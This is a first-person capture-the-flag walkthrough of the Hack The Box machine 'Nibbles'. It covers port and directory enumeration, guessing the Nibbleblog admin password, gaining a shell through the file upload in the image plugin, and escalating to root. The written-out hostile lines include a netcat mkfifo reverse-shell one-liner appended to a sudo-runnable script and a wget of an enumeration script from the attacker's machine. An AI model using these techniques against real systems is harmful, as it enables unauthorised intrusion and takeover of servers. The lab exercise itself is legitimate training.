Nibbles is rated as an easy machine on HTB.
First we grab the .ovpn file for the VPN and connect to the network from our machine: openvpn rofo.ovpn. An initial nmap of the IP is next.
nmap -sV –open -oA initial_scan 10.10.10.75
The result shows us we have 2 open ports of interest: 22/tcp ssh (OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0), and port 80/tcp open http (Apache httpd 2.4.18 ((Ubuntu)). Looks like we’re dealing with a web server – plenty of potential attack vectors. We’ll get some further information on the two ports with some banner grabbing with netcat.
Nothing extra of note exposed here. Next we run a more detailed nmap script scan (-sC) of the two discovered ports for any further information we can pull.
nmap -sC -p 22,80 -oA script_scan 10.10.10.75
This gives us the ssh-hostkey but nothing extra, so we’ll run a nmap enumeration using the http-enum script:
nmap -sV –script=http-enum -oA http_enum_script 10.10.10.75
This takes a very long time – so we’ll leave it running in a background terminal for now and move on. In the meantime we’ll start digging deeper into the web server. Running a whatweb command on the target to further identify the server confirms it’s an Apache HTTPServer running on Ubuntu Linux.
Next we’ll gobuster the target with the common.txt wordlist to enumerate web folders and status codes to see where we can start poking around in curl or a browser. To download the wordlist from their repository:
Followed by our gobuster command to begin:
gobuster dir -u 10.10.10.75:80 -w common.txt
First obvious step is to visit the servers homepage. A quick check of the network and source reveals an obvious next step, a nibbleblog reference in the index.html source code.
No idea what Nibbleblog is so I’ll do some quick research as well as a whatweb of the /nibbleblog/ directory mentioned above. HTML5, JQuery, Powered by [Nibbleblog], with a site title.
It’s a free blog system. Browsing the blog quickly yields nothing – no posts, empty categories, etc. That leads us to any potential exploit research, which leads us to Metasploit supported exploit CVE-2015-6967 – File Upload Vulnerability. This allows an authenticated remote attacker to execute arbitrary PHP code – tested on version 4.0.3. So one of the file upload plugins or blog functionality lets us upload a little more than what’s intended.
We’ll gobuster the Nibbleblog site next to get an overview of the structure of the site. Here I could also have looked to download and install a Nibbleblog on my own web server locally, to browse the locations of config files, important directories, etc. also.
gobuster dir -u 10.10.10.75:80 -w /usr/share/dirb/wordlists/common.txt
This returns a number of status 200 responses that I can browse – primarily an admin.php and a README file. Let’s check out the README file, which confirms this is likely v4.0.3 of Nibbleblog, the one with the Metasploit exploit above. We also get some information we can follow up down the road about PHP versioning, required PHP modules and permissions.
Start browsing the entirety of the Nibbleblog platform now. We’ll go to admin.php, functions.js – there’s nothing in source, nothing in network or cookies when I try to login. A few generic username and password combinations don’t work, and I find no information on any default credentials. Attempting to reset the password of an email gives an error message, so perhaps some broken functionality there can provide another avenue. After too many attempts to login I get blacklisted – so cannot brute force the web server. Will have to go by a timer or find a way to access a hash or workaround.
We check out all the redirect folders for Nibbleblog – part of the installation: /admin/, /content/, /languages/, /plugins/, /themes/. Absolutely all of these have directory listing enabled so there’s a lot to potentially explore and take advantage of. There has to be something here showing credentials, particularly in admin. The users file under /content shows us the ‘admin’ user – no password found. We check keys.php and shadow.php under content but not getting anything..
There are a lot of user controller .bit files in admin – nothing however with a potential password or anything obviously valuable. Controllers under the /admin folder contains a lot of pointers to the shadow.php file for user authentication and control. We try admin/kernel/db/db_users.class.php – no response.
In the plugin my_image there is a db.xml and image.php. A .php extension for an image is odd, unless it’s a controller. I have my eye out for anything upload related due to the Metasploit detailed previously – which I’m yet to follow up on until I’ve finished enumeration.
Gaining Access & Server Foothold
I’m next going to attempt to brute login between spam password attempt blacklists. The machine has reset since my last session so I have a new IP, however if this did not happen I’d use a proxy or VPN to attempt logins to the site from different IP’s. I create a short wordlist based on the site, company, domain, theme names, platform, etc. so I have words like ‘blog’, ‘shadow’, ‘nibbles’, ‘controller’, etc. ‘nibbles‘ gets us in with the final credentials of admin:nibbles. This has us in the administrator dashboard.
We have the authentication credentials – which means if necessary we can use the original Metasploit exploit found for this version of Nibblesblog – CVE-2015-6967. For now, we’ll start poking around the areas we’ll have access to as administrator; and since we’re running on PHP, we’ll see if we can inject PHP code anywhere with a quick .php file/code.
The code is also pasted in a new blog post to check if it runs as PHP in the pages or it’s parsed to a string. We make sure we have code editor selected rather than any visual editor. We can see in the ‘source code’ view and blog post itself that the platform prevents PHP from being run directly. Checking out the settings – turning on ‘Advanced options for post’ to see if that makes any difference – none. There’s nothing else that stands out in the settings, but the platform version is confirmed a second time as at the bottom of the settings shows: ‘Nibbleblog 4.0.3. “Coffee”.
After exploring the plugins we know that there is one for uploading/setting an image. This brings back to mind the Metasploit identified as a file upload functionality. The ability to upload files to the server is a strong avenue of attack if the files aren’t checked properly, ie. an image upload method that doesn’t check if the files uploaded are actually images. Because we have access to many of the sites folders with misconfigured directory listing, we can also likely find where the files we upload are stored.
Within the image plugin, we try to upload our rofotest.php file to test the strategy, keeping the title and caption of the image as default (keeping in mind we’ll try the code here down the road also if necessary). If we can get a .php file on the site we can start running our custom PHP code directly on the server, and from there we can try pull more information or run a shell.
The upload seems to go through but there’s a lot of error output – let’s check the server directories again anyway and see if our file is there.
There is no new image file, but opening the image.php file in the image plugin directory now shows us our PHP code that we recently uploaded. It tells us that the current user of the system is nibbler. So the image.php file is simply the result of whatever we upload in the image plugin. The next step is to repeat the process and try to establish a reverse shell back to my machine from the server.
Preparing for a shell command, we prepare a remote shell listener on our local machine..
..and pull a reverse shell PHP code snippet from somewhere like GTFOBins or PayloadAllTheThings, updating our .php file to execute the shell command when the page is reloaded.
We reload the image.php file on the server once the above has been re-uploaded, and it works. Our local listener picks up on the connection attempt, and we now have a reverse shell established.
We have a reverse shell established – so what are our next steps? First we’ll try and upgrade the reverse shell to an interactive TTY to make things smoother. Python doesn’t work, but a which python command tells us that python3 is on the machine, so we try the following command. We now have an upgraded shell.
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
A whoami command confirms we are the user nibbler. Our nibbler user gives us the user.txt solution flag with a simple vim. We poke around the /home folder, the /etc folder, start getting an overview of every folder we have access to and look for anything of value. There’s a personal.zip file in the user directory that we’re going to want to check out. Unzipping it gives us only a single file two directories down /personal/stuff/monitor.sh which we view for anything of value.
A sudo -l shows us that nibbler can run this monitor.sh script as root with NOPASSWD – so it’s likely this is an in with privilege escalation to the root user. The #! /bin/bash comment tells us it uses bash – this must be it – we can run bash scripts here with root privileges.
To expand on what we’ve found so far we’ll try to pull and run two common Linux enumeration scripts LinEnum and linuxprivchecker. We need to get these scripts on the target machine, so we’ll http them in with a temporary HTTP server we establish on our machine:
sudo python -m http.server 8080
From this http.server we can wget from our target machine the files we need. First I had to download LinEnum.sh, then we get it from the target machine to our local HTTP server (10.10.14.3:8080) with wget http://10.10.14.3:8080/LinEnum.sh. chmod +x LinEnum.sh once received to make it executable on our target machine, then ./LinEnum.sh to begin the scan. See below:
The LinEnum.sh scan confirms what we learnt with sudo -l earlier – we can run the monitor.sh file from the unzipped folder location as nibbler with root privileges. If we can run a shell from this file with privileged access as sudo with no password, we can create a new shell as root with full privileges rather than as the user nibbler.
So, the next step is to append a second shell to the monitor.sh file which we are running with root privileges thanks to the NOPASSWD requirement. The smoothest way to append a shell command to a file without messing around in an unreliable vim or basic shell is to use the command. It did take a couple of tries with a few other commands as the environment wasn’t acting too kindly to me at this point, but eventually we amended the file without breaking anything.
echo ‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 1234 >/tmp/f’ >> monitor.sh
This attaches a line to the monitor.sh file running a bash command for a new reverse shell to our new reverse shell listener on port 1234 (or a different port if there’s an issue with first listener) with presumably root privileges.
Make sure you’re in the directory containing the file /home/nibbler/personal/stuff. We can check this is appended with cat monitor.sh and see the extra command attached. Running this monitor.sh as root with no password requirement will connect the reverse shell as root – giving us access without requiring a password.
If you mess up, you can remove the last line from a file with the command:
sed -i ‘$ d’ monitor.sh
And our listener picks up the successful request. Another whoami on this reverse shell and we confirm that we are not in the machine as the root user. A couple of ls later and cd /root ls takes us to the final system solution flag file: root.txt.